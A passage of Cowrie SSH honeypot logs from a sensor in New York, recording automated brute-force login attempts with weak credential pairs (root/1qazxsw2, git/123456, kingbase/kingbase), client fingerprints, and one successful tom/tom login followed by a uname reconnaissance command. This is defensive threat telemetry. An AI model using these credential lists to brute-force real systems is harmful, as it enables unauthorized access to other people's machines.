0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:08.061594Z","src_ip":"5.196.136.131","session":"ba50dd874aba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:08.290683Z","src_ip":"5.196.136.131","session":"ba50dd874aba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:09.368338Z","src_ip":"5.196.136.131","session":"ba50dd874aba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":63000,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6fc76537a1a","protocol":"ssh","message":"New connection: 5.196.136.131:63000 (10.17.0.5:22) [session: e6fc76537a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:12.414187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:12.417755Z","src_ip":"5.196.136.131","session":"e6fc76537a1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:12.498665Z","src_ip":"5.196.136.131","session":"e6fc76537a1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:12.768226Z","src_ip":"5.196.136.131","session":"e6fc76537a1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:13.852765Z","src_ip":"5.196.136.131","session":"e6fc76537a1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":18759,"dst_ip":"10.17.0.5","dst_port":22,"session":"99453a719f80","protocol":"ssh","message":"New connection: 5.196.136.131:18759 (10.17.0.5:22) [session: 99453a719f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:16.887012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:16.890289Z","src_ip":"5.196.136.131","session":"99453a719f80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:16.969287Z","src_ip":"5.196.136.131","session":"99453a719f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:17.201127Z","src_ip":"5.196.136.131","session":"99453a719f80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:18.280449Z","src_ip":"5.196.136.131","session":"99453a719f80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.228.248","src_port":56302,"dst_ip":"10.17.0.5","dst_port":22,"session":"484c19b00e89","protocol":"ssh","message":"New connection: 202.29.228.248:56302 (10.17.0.5:22) [session: 484c19b00e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:21.213859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:21.217809Z","src_ip":"202.29.228.248","session":"484c19b00e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":24968,"dst_ip":"10.17.0.5","dst_port":22,"session":"839d69b8b051","protocol":"ssh","message":"New connection: 5.196.136.131:24968 (10.17.0.5:22) [session: 839d69b8b051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:21.221715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:21.224949Z","src_ip":"5.196.136.131","session":"839d69b8b051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:21.299126Z","src_ip":"5.196.136.131","session":"839d69b8b051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:21.460690Z","src_ip":"202.29.228.248","session":"484c19b00e89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:21.526613Z","src_ip":"5.196.136.131","session":"839d69b8b051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2021@#","message":"login attempt [root/unitedstates2021@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:22.194262Z","src_ip":"202.29.228.248","session":"484c19b00e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:22.603127Z","src_ip":"5.196.136.131","session":"839d69b8b051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.180.166","src_port":33798,"dst_ip":"159.203.135.109","dst_port":22,"session":"a189d934a408","protocol":"ssh","message":"New connection: 192.169.180.166:33798 (159.203.135.109:22) [session: a189d934a408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:22.763385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:22.767032Z","src_ip":"192.169.180.166","session":"a189d934a408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:22.831393Z","src_ip":"192.169.180.166","session":"a189d934a408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stake2024","message":"login attempt [root/stake2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:23.028388Z","src_ip":"192.169.180.166","session":"a189d934a408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:23.439893Z","src_ip":"202.29.228.248","session":"484c19b00e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:24.094707Z","src_ip":"192.169.180.166","session":"a189d934a408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":31264,"dst_ip":"10.17.0.5","dst_port":22,"session":"76f93c6a996c","protocol":"ssh","message":"New connection: 5.196.136.131:31264 (10.17.0.5:22) [session: 76f93c6a996c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:25.608243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:25.614407Z","src_ip":"5.196.136.131","session":"76f93c6a996c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:25.689920Z","src_ip":"5.196.136.131","session":"76f93c6a996c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:25.916349Z","src_ip":"5.196.136.131","session":"76f93c6a996c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:26.994947Z","src_ip":"5.196.136.131","session":"76f93c6a996c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":21273,"dst_ip":"10.17.0.5","dst_port":22,"session":"18b6253c8bbb","protocol":"ssh","message":"New connection: 5.196.136.131:21273 (10.17.0.5:22) [session: 18b6253c8bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:30.021632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:30.026156Z","src_ip":"5.196.136.131","session":"18b6253c8bbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:30.116502Z","src_ip":"5.196.136.131","session":"18b6253c8bbb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:30.352785Z","src_ip":"5.196.136.131","session":"18b6253c8bbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:30.543540Z","src_ip":"5.196.136.131","session":"18b6253c8bbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:30.546107Z","src_ip":"5.196.136.131","session":"18b6253c8bbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:30.625302Z","src_ip":"5.196.136.131","session":"18b6253c8bbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:30.628923Z","src_ip":"5.196.136.131","session":"18b6253c8bbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":26336,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f1501903f89","protocol":"ssh","message":"New connection: 5.196.136.131:26336 (10.17.0.5:22) [session: 0f1501903f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:34.424950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:34.427975Z","src_ip":"5.196.136.131","session":"0f1501903f89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:34.503276Z","src_ip":"5.196.136.131","session":"0f1501903f89","protocol":"ssh"}
